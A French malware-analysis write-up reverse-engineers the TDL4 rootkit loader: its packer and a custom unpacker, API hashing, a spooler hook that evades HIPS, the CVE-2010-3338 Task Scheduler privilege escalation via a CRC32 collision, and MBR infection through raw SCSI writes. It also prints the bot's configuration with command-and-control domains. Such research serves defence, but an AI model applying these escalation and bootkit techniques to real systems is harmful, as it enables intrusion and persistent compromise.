TDL4 from scratch to ...

Introduction

J'étais assez saouled de reverse des malwares appartenant aux familles des WinLocker, je voulais quelque chose de plus évolué, afin de découvrir / apprendre un maximum de choses, et pouvoir réellement m'amuser.
J'ai donc décidé de m'attaquer à TDL4, qui peut se nommer aussi TDSS, Alureon.DX et Olmarik, en fonction des différents éditeurs d'anti - virus.
Je vais découper tout ce travail en plusieurs parties étant donné le nombre ( impréssionant ? ) d'éléments qui le composent (dll 32 / 64, driver 32 / 64, ... etc ...).
Ce qu'il faut savoir aussi c'est que TDL4 est le premier rootkit compatible avec les sytèmes 64bits, il utilise un bootkit afin de pouvoir charger son driver64 en bypassant la signature des drivers qui est apparu à l'arrivé de ses systèmes.
Ce premier article visera le loader, je vous souhaite une excellente lecture.

Informations sur le loader

Le loader que j'ai récupéré provient d'un site de crack / serial bien foireux.
keygen_v.45.23.4.exe 121K
MD5    = 31db7a22df02e1a91db9afda4f02f3bf
SHA1   = 6ede4482be1b06c90cca93bedf3e363c096102f5
SHA256 = ba670c68a7e481c324bdc2e8c5c8c1c8ddc4a2772e991826771350ea8e03f2ce
Le rapport de virus total ici (39 / 43).
Avant de commencer à étudier le comportement du loader, on va d'abord étudier le packer utilisé par cette exécutable et le développement d'un unpacker qui s'avèrera fort utile pour unpacker d'autres éléments qui composent TDL4.

U*P*C*ME I'm famous

La première chose flagrante est ce test au tout début du disas :
.text:00401792                 mov     eax, [ebp+arg_4]
.text:00401795                 cmp     eax, 2
.text:00401798                 jz      loc_4017F3
.text:0040179E                 cmp     eax, ebx
.text:004017A0                 jnz     loc_4017B3
.text:004017A6                 test    [ebp+arg_8], 0FFFFFFFEh
.text:004017AD                 jz      loc_4017F3
.text:004017B3
.text:004017B3 loc_4017B3:                             ; CODE XREF: start+96j
.text:004017B3                 cmp     eax, 1
.text:004017B6                 jnz     loc_4017CF
.text:004017BC                 push    64h             ; int
.text:004017BE                 push    [ebp+arg_8]     ; int
.text:004017C1                 push    eax             ; int
.text:004017C2                 push    [ebp+hLibModule] ; hInstance
.text:004017C5                 call    sub_401207
.text:004017CA                 jmp     loc_401818
.text:004017CF ; ---------------------------------------------------------------------------
.text:004017CF
.text:004017CF loc_4017CF:                             ; CODE XREF: start+ACj
.text:004017CF                 cmp     eax, 3
.text:004017D2                 jz      loc_401818
.text:004017D8                 push    0               ; int
.text:004017DA                 push    0               ; int
.text:004017DC                 push    0               ; int
.text:004017DE                 push    0               ; hInstance
.text:004017E0                 call    sub_401207
On peut voir directement que la sub_401207 ne va pas être appelé avec les memes arguments si le deuxième argument sur la stack au moment du start du thread est égale à 1 ou qu'il est différent de 3.
Gardez cela en tête ca nous servira plus tard.
Le deuxième truc fun qu'on peut rencontrer dans le loader plus loin, c'est l'appel à une API ( non documented ? ) :
.text:00401251                 push    edi
.text:00401252                 mov     eax, ds:RegisterMessagePumpHook
.text:00401258                 call    eax ; RegisterMessagePumpHook
.text:0040125A                 cmp     ebx, edi
.text:0040125C                 jz      loc_40126C
.text:00401262                 cmp     [ebp+arg_4], 1
.text:00401266                 jnz     loc_401452
.text:0040126C
.text:0040126C loc_40126C:                             ; CODE XREF: sub_401207+55j
.text:0040126C                 call    esi ; GetLastError
.text:0040126E                 cmp     eax, 57h
Je suppose (et je dis bien je suppose) que ce call est fait pour vérifier que le programme ne tourne pas dans un émulateur (wine par exemple), ou encore dans un environnement sandboxed qui n'aurait pas implémenté cette API.
Continuons dans les hostilités :
.text:00401296                 push    5194805h        ; Hash VirtualProtect
.text:0040129B                 mov     ebx, eax
.text:0040129D                 call    get_addr_base_kernel32
.text:004012A2                 push    eax
.text:004012A3                 call    resolve_addr_from_hash
.text:004012A8                 lea     ecx, [ebp+hInstance]
.text:004012AB                 push    ecx             ; pOldProtect
.text:004012AC                 push    40h             ; PAGE_EXECUTE_READWRITE
.text:004012AE                 push    esi             ; Size
.text:004012AF                 push    ebx             ; Addr
.text:004012B0                 call    eax             ; VirtualProtect
.text:004012B2                 mov     esi, 10000h
.text:004012B7                 mov     [ebp+var_54], edi
.text:004012BA                 mov     ebx, esi
.text:004012BC
.text:004012BC loop_virtual_alloc:                     ; CODE XREF: sub_401207+E5j
.text:004012BC                 mov     eax, [ebp+Addr_base_main_module]
.text:004012BF                 add     eax, ebx
.text:004012C1                 push    19971FF4h       ; VirtualAlloc
.text:004012C6                 mov     [ebp+var_4], eax
.text:004012C9                 call    get_addr_base_kernel32
.text:004012CE                 push    eax
.text:004012CF                 call    resolve_addr_from_hash
.text:004012D4                 push    40h             ; PAGE_EXECUTE_READWRITE
.text:004012D6                 push    3000h           ; MEM_COMMIT  | MEM_RELEASE
.text:004012DB                 push    100000h         ; Size
.text:004012E0                 push    [ebp+var_4]
.text:004012E3                 call    eax
.text:004012E5                 add     ebx, esi
.text:004012E7                 mov     [ebp+var_54], eax
.text:004012EA                 cmp     eax, edi
.text:004012EC                 jz      loop_virtual_alloc
La fonction get_base_addr_kernel : Si vous voulez en savoir plus, je vous invite à ouvir votre ami WinDbg, et regarder les structures de donnés : ( nt!_PEB, nt!_PEB_LDR_DATA et nt!_LDR_DATA_TABLE_ENTRY ).
La fonction resolve_addr_from_hash : Ci dessous leur fonction de hashage (réecrite en C pour une meilleure compréhension) :
for (i = 0; i < strlen(argv[1]) - 1; i++)
 {
    a = ROL(hash, hash & 0xF);
    hash = a + GETINT16(argv[1] + strlen(argv[1]) - i - 1) + 0x514;
 }
if (hash & 0x80000000)
   hash = strlen(argv[1]) + (hash & 0x7FFF0000 | 0x1FE8);
printf("Hash = %x\n", hash);
On teste notre code et c'est bien celà (ces hashs font bien partis de notre disas) :
C:\temp>a.exe VirtualAlloc
Hash = 0x19971ff4

C:\temp>a.exe VirtualProtect
Hash = 0x5194805
VirtualAlloc(), qu'on peut voir appelé en 0x004012E3, sera appelé plusieurs fois jusqu'à ce que l'adresse désiré soit disponible.
Une fois la mémoire alloué à l'adresse désiré on rentre dans le vif du sujet :
.text:004012F2                 lea     esi, [ebp+var_54]
.text:004012F5                 call    Stage1_decypher
La première étape de la fonction stage1_decypher est de recopier 0x28 octets depuis l'addr : ImageBase + ( NumberOfSymbols + 0x14 ) dans un espace réservé sur la stack.
Nous allons appeler ce "block" le block_0.
La deuxième étape est l'appel à la routine suivante :
; =============== S U B R O U T I N E =======================================
.text:004011C0
.text:004011C0 ; Attributes: bp-based frame
.text:004011C0
.text:004011C0 Decrypt_func    proc near               ; CODE XREF: Stage1_decypher+30p
.text:004011C0                                         ; Stage2_decypher+6Fp ...
.text:004011C0
.text:004011C0 arg_0           = dword ptr  8
.text:004011C0 size           = dword ptr  0Ch
.text:004011C0 key_decrypt     = dword ptr  10h
.text:004011C0
.text:004011C0                 push    ebp
.text:004011C1                 mov     ebp, esp
.text:004011C3                 cmp     [ebp+size], 4
.text:004011C7                 push    esi
.text:004011C8                 push    edi
.text:004011C9                 jb      loc_401201
.text:004011CF                 mov     esi, [ebp+arg_0]
.text:004011D2                 mov     edi, esi
.text:004011D4                 mov     ecx, [ebp+size]
.text:004011D7                 push    dword ptr [ebp+key_decrypt]
.text:004011DA                 pop     [ebp+arg_0]
.text:004011DD                 sub     ecx, 3
.text:004011E0
.text:004011E0 loc_4011E0:                             ; CODE XREF: Decrypt_func+3Bj
.text:004011E0                 lodsd
.text:004011E1                 mov     edi, edi
.text:004011E3                 xor     eax, [ebp+arg_0]
.text:004011E6                 mov     eax, eax
.text:004011E8                 stosd
.text:004011E9                 mov     eax, eax
.text:004011EB                 sub     esi, 3
.text:004011EE                 sub     edi, 3
.text:004011F1                 ror     [ebp+arg_0], 9
.text:004011F5                 sub     [ebp+arg_0], ecx
.text:004011F8                 dec     ecx
.text:004011F9                 mov     eax, eax
.text:004011FB                 jnz     loc_4011E0
.text:00401201
.text:00401201 loc_401201:                             ; CODE XREF: Decrypt_func+9j
.text:00401201                 pop     edi
.text:00401202                 pop     esi
.text:00401203                 pop     ebp
.text:00401204                 retn    0Ch
.text:00401204 Decrypt_func    endp
La fonction va simplement boucler de size - 3 sur le buffer, et convertir en int32 le contenu du buffer à la position actuelle, pour le xorer avec la clef, et remettre ce résultat dans le buffer, ror de 9 la clef et lui soustraire la size.
Ici la clef utilisé est en dur : 0x2FCCA34E ( cette clef sera aussi utilisé pour d'autres composants ).
Afin d'éviter de flood ce post de disas, ce qui peut être chiant et surement pas très intéressant au final, je vais finir d'expliquer le deciphering de notre block_0 à la mano :
Suite au premier Xor & compagie, des valeurs au sein du block_0 vont etre permutés, multipliés, additionés dans tous les sens, voici un petit schéma explicatif de la chose :


Ensuite on va recopier dans notre espace préalablement alloué une série de block à différents offset du binaire actuel.
.text:0040161A                 mov     [ebp+index_block], 4
.text:00401621
.text:00401621 loc_401621:                             ; CODE XREF: Stage1_decypher+97j
.text:00401621                 mov     edi, [ebx+0Ch]
.text:00401624                 mov     ecx, [ebp+var_4]
.text:00401627                 lea     edx, [ebx+14h]
.text:0040162A                 call    Copy_it
.text:0040162F                 mov     eax, [ebx+0Ch]
.text:00401632                 mov     ebx, [ebx+10h]
.text:00401635                 add     [ebp+var_4], eax
.text:00401638                 xor     ebx, 521D558h
.text:0040163E                 add     ebx, [esi+8]
.text:00401641                 dec     [ebp+index_block]
.text:00401644                 jnz     loc_401621
On peut voir clairement que ca va boucler 4 fois donc, copier 4 blocks.
Afin de vous faciliter la tâche, voici un petit schéma de la chose, bien sur l'argument final_block du memcpy et incrémenté de la size à chaque tour :


Maitenant que nous avons ces 2 éléments ( block_0 et block_final ), nous allons passer à la fonction Stage2_decypher ( que j'ai nommé de la sorte ).
Mais d'abord, pour la suite des opérations, on va définir un type de donné propre à notre block_0 :
typedef struct
{
  t_uint32	val_0;
  t_uint32	val_4;
  t_uint32	size;
  t_uint32	SizeOfImage;
  t_uint32	key;
  t_uint32	val_14;
  t_uint32	val_18;
  t_uint32	size2;
  t_uint32	val_loop;
  t_uint32	val_24;
}		s_block_0;

typedef	union
{
  char		buf[0x28];
  s_block_0	sb0;
}		u_block_0;
Les champs de la structure s_block_0 qui n'ont pas de nom explicite, ce n'est pas un failed de ma part, ce sont leur offset dans leur block_0, mais c'est surtout qu'ils ne sont pas utilisés.
Et ils sont de plus non indispensables pour écrire l'unpacker.
Bon revenons sur la fonction Stage2_decypher, si vous l'avez pas déjà remarqué, la fonction decrypt_func ( 0x004011C0 ), utilise un algo de chiffrement symétrique.
Les auteurs de TDL4, je ne sais pas pourquoi ils ont fait celà, ou je ne connais pas la raison au vue de mes connaissances failbes en crypto, vont bruteforcer, la clef à utiliser pour decrypt block_final une première fois, en calculant un hash pour chaque chifrrement à partir d'une clef qui start de 0 et va en 0xFFFFFFF, puis rapelerons decrypt_func avec le champ key de la struct s_block_0.
Un exemple de code serait le bienvenue me direz vous :
while (res != block0.sb0.val_loop)
    {
      decrypt_func(final_block + 0x28, block0.sb0.size, key);
      res = compute_wtf_hash(final_block + 0x28, block0.sb0.size);
      decrypt_func(final_block + 0x28, block0.sb0.size, key++);
    }
  key = key - 1;
  decrypt_func(final_block + 0x28, block0.sb0.size, key);
Je vous file aussi le code de la fonction compute_wtf_hash ( sub_00401652 ), oui elle se nomme de la sorte car j'ai halluciné en reversant cette fonction :
int		compute_wtf_hash(char *addr, size_t	size)
{
  int		val = -2;
  int		res = 0;
  int		i;

  for (i = 0; i < size; i++)
    {
      res = (val + 0x368D5CB4) *
	(16 * ~(val + 0x368D5CB4) * (~((addr[i] & 0xff) *
				       rol(1, val & 0xf))+ 0x2C) + 0x368D5CB6) - 1;
      val = res;
    }
  return (res);
}
Ensuite, il va soustraire au champ size (de la struct block_0) la valeur du champ size2, ce champ devrait maitenant plutôt s'apeller offset maitenant.


Pour ceux qui ne le savent pas UCL est un algorithme de compression qui est utilisé dans UPX. Si l'on s'en tient à wikipedia ( "Cette amorce tient sur moins de 200 octets." ), ca match bien avec le schéma ci-dessus.
Ils vont donc appeller ce code, afin de décompresser le PE qui réside en mémoire.
Ce qui est amusant c'est que les auteurs de TDL4 ont ( c'est n'est qu'un avis personnel ) découpés le code d'upx, pris le stub d'UCL, car après on les voit reconstruire leur IAT à la main à coup de GetProcAddress.
Alors que UPX fait le tout en un.
On les voit ensuite sauter sur le point d'entré du PE décompressé. Bref, nous voilà enfin avec notre éxécutable unpack, un petit hexdump à titre d'information ici de mon unpacker :
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......
....N...N...N...!...O...!...O...G.3.O...G.#.L.......[...N...+...!...L...!.-.O...RichN...................PE..L......L............
.....*...z.......9.......@....@.................................J........................................M......................
.................................................................@...............................text....).......*..............
.... ..`.rdata.......@......................@..@.data........`.......F..............@....config.6...........................@...
.reloc..~...........................@..B........................................................................................
Dans leur code, il fix aussi des offsets à la main car le pe n'est pas situé à sa BaseAdress, mais à un endroit alloué, notre unpacker devra de ce fait aussi fix chaque sections du binaire unpack tout particulièrement les champs PtrToRawData, qui devront être égales au champ VirtualAddress.
Nous sommmes maitenant en mesure de travailler proprement avec le binaire unpack ( ce qui est quand meme plus pratique ).
Voici le code complet de mon unpacker :

Unpacked PE

Maitenant que nous avons notre PE unpack, voyons voir le point d'éntrée :

En fait vous vous rapellez au début du post j'ai parlé du fait que la fonction sub_401207 ne sera pas appelé de la même manière, en fait nous le reverrons plus loin, mais en fonction des arguments push, il y aura 2 flots d'éxécution différent.
Typiquement, un appel à sub_4033C6, ou un CreateThread() avec comme paramètre lpStartAddress l'offset 0x004037B6. Afin de vous éclaircir, le PE en question est en fait à la fois un éxécutable et une DLL ( nous verrons ca après ).
Nous allons d'abord travailler sur le binaire éxécutable.

Unpacked Version Exe

Donc commencons à étudier, la sub_4033C6, la première chose qu'elle va faire et tester si le système tourne en 32 ou 64 bits à l'aide de l'api IsWow64Process().
A l'aide de la succession d'appel aux api suivantes : GetTempPath(), GetTempFileNameW() , GetMappedFileName(), CreateFile() , CreateFileMappingA(), MapViewOfFile(), il va venir se recopier dans le répertoire, mais avec une subtilité en plus.
.text:004034FD                 call    ds:RtlImageNtHeader
.text:00403503                 mov     edi, eax
.text:00403505                 mov     eax, 2000h
.text:0040350A                 or      [edi+16h], ax
Il va changer la valeur du champ Characteristics du IMAGE_FILE_HEADER, afin que le fichier soit reconnu comme une DLL.
On peut le voir sauvegarder la date de crétion du fichier à l'aide de l'api GetSystemTimeAsFileTime().
.text:00403602                 push    Wrapper_VirtualAlloc ; int
.text:00403607                 push    offset Wrapper_VirtualProtect ; int
.text:0040360C                 push    offset dword_410EC4 ; Allocated_memory
.text:00403611                 push    offset HOOK_FUNC ; int
.text:00403616                 lea     eax, [ebp+pPrintProvidorName]
.text:0040361C                 mov     dword ptr [ebp+pProvidorInfo], eax
.text:0040361F                 push    offset aZwconnectport ; "ZwConnectPort"
.text:00403624                 lea     eax, [ebp+FileName]
.text:0040362A                 push    offset aNtdll_dll_2 ; "ntdll.dll"
.text:0040362F                 mov     [ebp+var_14], esi
.text:00403632                 mov     [ebp+var_10], eax
.text:00403635                 call    ds:GetModuleHandleA
.text:0040363B                 push    eax             ; hModule
.text:0040363C                 call    ds:GetProcAddress
.text:00403642                 push    eax             ; Dst
.text:00403643                 call    Setup_hook
On commence à trouver des chose intéressantes, comme la mise en place d'un hook sur l'api ZwConnectPort(), pour remplacer la valeur de l'argument ServerPortName "\\RPC Control\\spoolss" par "\\??\\GLOBALROOT\\RPC Control\\spoolss", ce qui lui permet de bypasser les (la plupart ?) HIPS.
Doc de la fonction sur undocumented.
Petit schéma du hook qu'il met en place :

En fait il met en place ce Hook car juste aprè il fait appel à la fonction AddPrintProvidor(), ce qui lui permettra de charger sans aucun soucis sa dll préalablement recopié dans le répertoire temporaire.
Maitenant on comprend mieux pourquoi il change les caractéristiques, il fait des tests a l'entry point de son packer, et qu'il y a une fois unpack 2 flots d'éxécution bien distinct.
Bien sûr si la fonction AddPrintProvidor() échoue, il va start le service d'impression ("spooler").
Il faudrait logiquement que je dérive mon analyse vers le flot d'éxécution de la dll, mais nous allons finir d'abord l'analyse complète du loader.

CVE-2010-3338

Si il n'arrive pas à éxécuter des tâches qui requièrent les droits admin, il va exploiter la CVE-2010-3338, où le problème se situe dans le scheduler du task manager.
Ce qui était assez nouveau c'est que tout le code de la CVE est du C++, c'était folklo pour un de mes premiers reverse de C++...
La première chose qu'il va faire c'est l'appel à la fonction CoCreateInstance(), avec comme riid {2FABA4C7-4DA9-4013-9697-20CC3FD40F85} ( correspondant au ITaskService ), et rclsid {0F87369F-A4E5-4CFC-BD3E-73E6154572DD} ( correspondant à la classe TaskScheduler ).
Il fera ensuite appel à la méthode Connect(), afin de se connecter à la machine local, pour que tous les appels suivants soient destinés à la machine locale.
Il récupèrera ensuite le root directory du taskmanager par l'appel à GetFolder() avec comme path "\\".
Il créera une nouvelle tâche avec la méthode NewTask(), et donc instancie un objet de type ITaskDefinition.
L'objet ITaskDefinition va lui servir à récupérer un objet de type IActionCollection par le biais de la méthode get_Actions().
Il créera la tâche ensuite avec Create() et de type TASK_ACTION_EXEC.
Puis en interrogeant le GUID {4C3D624D-FD6B-49A3-B9B7-09CB3CD3F047} (IExecAction), il ajoutera au path de la tâche le chemin vers son éxécutable qu'il s'est recopié préalablement dans le temp directory.
Pour résumer la chose voici le début du code :
ITaskService      *task;
ITaskFolder       *folder;
ITaskDefinition   *def;
IActionCollection *collec;
IAction           *action;
IExecAction       *exec_action;

CoCreateInstance(task, riid_taskservice, 1, 0, rclsid_tasksheduler);

task->Connect(0, 0, 0, 0);

task->GetFolder("\\", folder);

folder->NewTask(0, def);

def->get_Actions(collec);

collec->Create(TASK_ACTION_EXEC, action);

action->QueryInterface(guid_ExecAction, exec_action);

exec_action->put_Path(<path_to_executable>);
Une fois sa tâche register, il va aller récupérer le fichier xml qui lui est associé dans le dossier "\\??\\globalroot\\systemroot\\system32\\tasks\%x", avec %x le nom de la tâche.
Il remplacera au sein de ce fichier, la valeur id de la balise Principal par "LocalSystem".
Ansi que le contenu de la balise <UserId> par S-1-5-18 ( qui est l'identifiant par défaut utilisée par le système ou les services ).
Le contenu de la balise <RunLevel> sera aussi changé en HighestAvailable.
En fait si vous vous amusez à regarder la dll schedsvc.dll, vous verrez que pour éxécuter une tâche il apelera sans cesse la méthode :
.text:701C42CA                 call    ?LoadFileToBuffer@JobStore@@SGJPAXAAV?$AutoVectorPtr@G@wmi@@@Z ; JobStore::LoadFileToBuffer(void *,wmi::AutoVectorPtr<ushort> &)
.text:701C42CF                 cmp     eax, ebx
.text:701C42D1                 mov     [ebp-14h], eax
.text:701C42D4                 jl      short loc_701C4316
.text:701C42D6                 push    dword ptr [esi] ; unsigned __int8 *
.text:701C42D8                 call    ?ComputeCRC@JobStore@@SGKPBG@Z ; JobStore::ComputeCRC(ushort const *)
Afin de vérifier si le fichier xml est valide ou non.
Il suffit donc en fait de créer une collision sur le CRC32 calculcé.
De ce fait ils écrivent à la fin du fichier la chaîne "<!--%x-->" avec %x un dword qu'il bruteforce jusqu'à créer la collision.
La tâche est ensuite éxéte avec les privilèves système, ce qui lui permettra de lancer toutes les actions décrites plus haut.

Another way

Si la CVE est patché, il y a un truc que j'ai trouvé très marrant, c'est le fait que si l'api AddPrintProvidor() échoue sans set l'error code RPC_S_SERVER_UNAVAILABLE ( 0x6BA ) ou que l'api OpenSCManager() ( call pour start le service d'impression ) set l'error code ERROR_ACCESS_DENIED ( 0x5 ), alors le PE va créer 2 fichiers dans le dossier temporaire :


Le fichier setup_xxx.exe est une simple recopie bit pour bit de l'éxécutable original.
Voici le contenu du fichier manifest, qui demandera à l'utilisateur les droits Administrateur afin de lancer l'éxécutable par l'appel d'un ShellExecute :
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
	<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
		<ms_asmv2:trustInfo xmlns:ms_asmv2="urn:schemas-microsoft-com:asm.v2">
			<ms_asmv2:security><ms_asmv2:requestedPrivileges>
				<ms_asmv2:requestedExecutionLevel level="requireAdministrator">
				</ms_asmv2:requestedExecutionLevel></ms_asmv2:requestedPrivileges>
			</ms_asmv2:security>
		</ms_asmv2:trustInfo>
	</assembly>
Si aucune de ces code d'erreurs n'a été mis en place, il va DeletePrintProvidor() et DeleteFile(), puis si l'éxécutable tourne sur un sytème 64 bits, alors il va faire appel à la sub 0x00403338.
Au sein de cette sub la suite des opérations est assez simple, il va décrypter chacun des futurs modules que nous étudierons bien sûr :
.rdata:004048AC ; char Source[]
.rdata:004048AC Source          db 'cfg.ini',0          ; DATA XREF: conf_and_rc4_and_write+366o
.rdata:004048B4 ; char aMbr[]
.rdata:004048B4 aMbr            db 'mbr',0              ; DATA XREF: conf_and_rc4_and_write+38Do
.rdata:004048B8 ; char aLdr16[]
.rdata:004048B8 aLdr16          db 'ldr16',0            ; DATA XREF: conf_and_rc4_and_write+3B1o
.rdata:004048BE                 align 10h
.rdata:004048C0 ; char aLdr32[]
.rdata:004048C0 aLdr32          db 'ldr32',0            ; DATA XREF: conf_and_rc4_and_write+3D5o
.rdata:004048C6                 align 4
.rdata:004048C8 ; char aLdr64[]
.rdata:004048C8 aLdr64          db 'ldr64',0            ; DATA XREF: conf_and_rc4_and_write+3F9o
.rdata:004048CE                 align 10h
.rdata:004048D0 ; char aDrv32[]
.rdata:004048D0 aDrv32          db 'drv32',0            ; DATA XREF: conf_and_rc4_and_write+419o
.rdata:004048D6                 align 4
.rdata:004048D8 ; char aDrv64[]
.rdata:004048D8 aDrv64          db 'drv64',0            ; DATA XREF: conf_and_rc4_and_write+43Eo
.rdata:004048DE                 align 10h
.rdata:004048E0 ; char aCmd_dll[]
.rdata:004048E0 aCmd_dll        db 'cmd.dll',0          ; DATA XREF: conf_and_rc4_and_write+45Fo
.rdata:004048E8 ; char aCmd64_dll[]
.rdata:004048E8 aCmd64_dll      db 'cmd64.dll',0        ; DATA XREF: conf_and_rc4_and_write+480o
.rdata:004048F2                 align 4
.rdata:004048F4 ; char aBckfg_tmp[]
.rdata:004048F4 aBckfg_tmp      db 'bckfg.tmp',0        ; DATA XREF: conf_and_rc4_and_write+4A1o
Ici l'agorithme de chiffrement pour chacun des modules utilisé est RC4, donc rien de bien compliqué à recoder.
Certains de ces modules sont présents dans la section .config du PE unpack.

Les modules à déchiffrer, sont de la forme suivante, et utilisera la size comme clef de déchiffrement :

Dans le cas de la version que j'ai, il y a 4 blocks qui font parties de la section .config.
Nous pouvons le voir ensuite fabriquer son fichier de config ( "cfg.ini" ) de son bot à l'aide des fonction sscanf, swprintf :
[main]..
aid=30212..
sid=3..
[inject]..
*=cmd.dll..
*(x64)=cmd64.dll..
[cmd]..
srv=https://rukkeianno.com/;https://kangojim1.com/;https://lkaturi71.com/;https://neywrika.in/;https://86b6b6b6.com/..
wsrv=http://skolewcho.com/;http://jikdooyt0.com/;http://swltcho81.com/;http://switcho81.com/;http://rammyjuke.com/..
psrv=http://cri71ki813ck.com/
Passons aux prochains modules à extract, le problème est qui fait grave chier pour mon unpacker, c'est que les prochains modules à extract sont à des offsets en dur dans la section .data, résultat obligé de déclarer en dur :
int tab_offset[] = {0x8, 0x1C0, 0x628, 0x1268, 0x20B0, 0x7EC0};
int tab_size[] = {0x1B2, 0x466, 0x0C3E, 0x0E48, 0x5E0A, 0x3000};
On va distinguer chacun des blocks extract par leur nom : Nous étudierons bien sûr chacun de ses modules plus tard.
Ce qui devient vraiment intéressant par la suite est la sub 0x004015B6 :
Bon il a un handle sur le disque physique mais à quoi ça peut bien lui servir ?
Si on regarde juste après, il test si le handle est valide, si il l'est alors il apelle une première fois la sub en 0x00401B63.
Avant de rentrer dans les détails de cette sub je vous invite à lire un peu de doc, car en fait toutes les écritures / lecture / récupération d'informations ( sur le disque ) se feront pas le biais de requête SCSI.
Bien regardons de plus près cette sub :
.text:00401BBB                 push    60h             ; OutputBufferLength
.text:00401BBD                 mov     eax, edx
.text:00401BBF                 shr     eax, 8
.text:00401BC2                 mov     [esp+84h+var_3D], al
.text:00401BC6                 lea     eax, [esp+84h+In_Out_PutBuffer]
.text:00401BCA                 push    eax             ; OutputBuffer
.text:00401BCB                 push    60h             ; InputBufferLength
.text:00401BCD                 push    eax             ; InputBuffer
.text:00401BCE                 push    4D014h          ; IoControlCode     IOCTL_SCSI_PASS_THROUGH_DIRECT
.text:00401BD3                 lea     eax, [esp+94h+IO_STATUS_BLOCK]
.text:00401BD7                 push    eax             ; IoStatusBlock
.text:00401BD8                 mov     [esp+98h+var_3F], bl
.text:00401BDC                 xor     ebx, ebx
.text:00401BDE                 push    ebx             ; ApcContext
.text:00401BDF                 push    ebx             ; ApcRoutine
.text:00401BE0                 push    ebx             ; Event
.text:00401BE1                 push    [ebp+a3]        ; FileHandle
.text:00401BE4                 mov     [esp+0A8h+var_5A], 120Ah
.text:00401BEB                 mov     [esp+0A8h+var_48], 40h
.text:00401BF3                 mov     [esp+0A8h+var_50], 0Fh
.text:00401BFB                 mov     [esp+0A8h+var_3C], dl
.text:00401BFF                 call    ds:ZwDeviceIoControlFile
Comme dit plus haut, on voit direct le code IOCTL 0x4D014 ( IOCTL_SCSI_PASS_THROUGH_DIRECT ), qui va directement lui permettre d'envoyer des requêtes SCSI au disque physique.
Ansi que la structure qui lui est associé :
typedef struct _SCSI_PASS_THROUGH_DIRECT {
  USHORT Length;
  UCHAR  ScsiStatus;
  UCHAR  PathId;
  UCHAR  TargetId;
  UCHAR  Lun;
  UCHAR  CdbLength;
  UCHAR  SenseInfoLength;
  UCHAR  DataIn;
  ULONG  DataTransferLength;
  ULONG  TimeOutValue;
  PVOID  DataBuffer;
  ULONG  SenseInfoOffset;
  UCHAR  Cdb[16];
} SCSI_PASS_THROUGH_DIRECT, *PSCSI_PASS_THROUGH_DIRECT;
Ce qui va surtout nous intéresser dans cette structure est son dernier champ ( Cdb ).
La premiè requête qu'il va faire est Read_Capacity_Command ( 0x25 ), ce qui va lui permettre de récupérer le nombre de secteurs du disque en question, et le garder au chaud dans un coin.
Sur la page wikipedia link précédemment, on voit comment il doit remplir le champ Cdb de la structure.
Ce qu'il faut savoir c'est que les derniers secteurs du disque ne sont jamais utilisés ( apparament ) par notre système, ce qui va lui permettre de pouvoir écrire tous ces modules tranquilement.
Deuxième chose qu'il va faire et la lecture du premier secteur à l'aide de la requête 0x28 ( Read_Command ), pour sauvegarder le mbr qu'il va infecter.
Ensuite il VirtualAlloc() avec comme paramètre size, la taille de chacun de ses modules, plus 512 ( 0x200 ) octets pour la racine de son File System.
Voici le fichier ( "ROOT" ) qu'il utilisera pour se balader dans son file system :

Et là c'est très bizard car sur des papers de l'ESET ils n'ont pas du tout, le même file system, eux ils parlent de FileBlockOffset pour mon champ que j'ai appelé Offset_nb_sector, le champ précédent et le size n'ont pas le même ordre non plus, de plus les blocks contenant de la data ne sont pas structurés pareil.
Voici mes définitions :
typedef struct file_entry
{
  WORD		Signature; /* FC */
  DWORD		Size;
  char		data[];
}

typedef struct	file_block
{
  char		FileName[16];
  DWORD		Size;
  DWORD		Offset_Nb_Sector; /* Nb sector from root directory */
  FILETIME	CreateTime;
}file_block;

typedef struct	r00t_directory
{
  WORD		Signature; /* DC */
  DWORD		Reserved;  /* Set to 0 */
  file_block	File[10];
}r00t_directory;
Il va chiffrer chaque secteur qu'il écrit en utilisant RC4, mais avec comme clef le numéro du secteur où il se trouve.
Il écrira ensuite sur le disque avec la requête 0x2A ( Write Command ), le nouveau mbr et son file system à la fin du disque.

Nous arrivons à la fin du loader, qui finit par un appel à ZwRaiseError(), afin de créer un BSOD, et donc reboot la machine.

TDL4 AddPrintProvidor DLL

Introduction

Dans le billet précédent nous avons vu la branche d'éxécution dans le cas où le PE était sous la forme d'un éxécutable, maitenant on va voir la branche dans le cas où le PE est chargé comme une DLL à l'aide de l'API AddPrintProvidor().
Dans ce cas là, l'API CreateThread() est appelé avec comme paramètre lpStartAddress l'offset 0x004037B6.

0x004037B6 Show me your b00bs

Le début de la fonction est le même cheminement que le billet précédent, on va récupérer les différents modules dans les sections .config et .data.
Mais cette fois le premier élément ( driver 32 bits ), va être recopié dans le répertoire temporaire.
Afin de charger son driver, il va créer un service en se servant du FILETIME renvoyé par GetSystemTimeAsFileTime().
Le nom de service sera de la forme : "system\currentcontrolset\services\%x", avec %x remplacé par la valeur du FILETIME.
Il ajoute ensuite les sous clefs de registre :
Il load ensuite le driver à l'aide de la fonction ZwLoadDriver(), avec comme paramètre : "\registry\machine\system\currentcontrolset\services\%s", et %s remplacé par le nom du service.
Il supprimera ensuite juste après la clef racine "system\currentcontrolset\services\%x", en faisant appel à SHDeleteKey().
Maitenant que son driver est load, on le voit faire appel à l'api ZwOpenSymbolicLinkObject(), avec comme paramètre OBJECT_ATTRIBUTES dont le champ ObjectName est "fsdev".
De là on peut se douter que le driver a cré ce fichier, nous le verrons quand nous étudierons le driver.
Suite à cette appel, il récupèrera un handle dessus et va récupérer des informations sur ce handle avec ZwQuerySymbolicLinkObject(), le paramètre de sortie LinkTarget sera de la forme : "\device\00000957\28a68b82".
Ensuite il créera a la chaine les chaines suivantes à coup de snprintf() :
Il appelera ensuite l'api CreateFile() avec comme paramètre : Il écrira bien sur avec WriteFile dans chacun d'eux avec ce qu'il a decrypt depuis la section .config ou .data.
Mais ici ca ne sera pas encore chiffré avec RC4 avec comme clef le numéro de secteur, tout ceci se passera dans le driver.
Il va remplir ensuite son fichier cfg.ini avec l'api WritePrivateProfileStringA().
Il le remplit exactement comme décrit dans le post précédent ([section_name] key = value ) :
Bon ensuite rebelotte avec :
CreateFile(), puis WriteFile(), comme expliqué plus haut.
Mais ici y'a quand même un truc qui me choque, pourquoi il doit écrire tous les composants alors que dans le cas dans lequel on se trouve, nous sommes obligatoirement sur un système 32bits.
